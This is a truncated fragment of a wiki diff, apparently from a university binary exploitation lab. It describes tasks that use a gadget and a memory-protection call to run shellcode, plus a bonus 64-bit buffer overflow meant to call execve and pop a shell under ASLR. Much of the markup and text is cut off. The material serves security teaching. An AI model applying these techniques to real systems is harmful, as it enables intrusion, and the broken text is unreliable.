+ | You need a proper gadget to fill the value of '' | ||
+ | </ | ||
+ | |||
+ | Call '' | ||
+ | |||
+ | <note tip> | ||
+ | This relies on calling the '' | ||
+ | </ | ||
+ | |||
+ | Read a shellcode to the now readable and executable memory area and execute it. | ||
+ | |||
+ | <note tip> | ||
+ | Use the [[http:// | ||
+ | </ | ||
+ | */ | ||
+ | |||
+ | ==== 4. Challenge [Bonus] ==== | ||
+ | |||
+ | Switch to '' | ||
+ | * First overflow the buffer and call vuln_gate. You will need to prepare registers for the 64 bit calling convention. | ||
+ | * Then overflow the second buffer and issue a syscall for **execve("/ | ||
+ | * Extra: Pop a shell. | ||
+ | ==== Resources: ==== | ||
- | Exploit it first with ASLR disabled and then enabled. | + | * https:// |
+ | * http:// | ||
+ | * https:// | ||
+ | * https:// |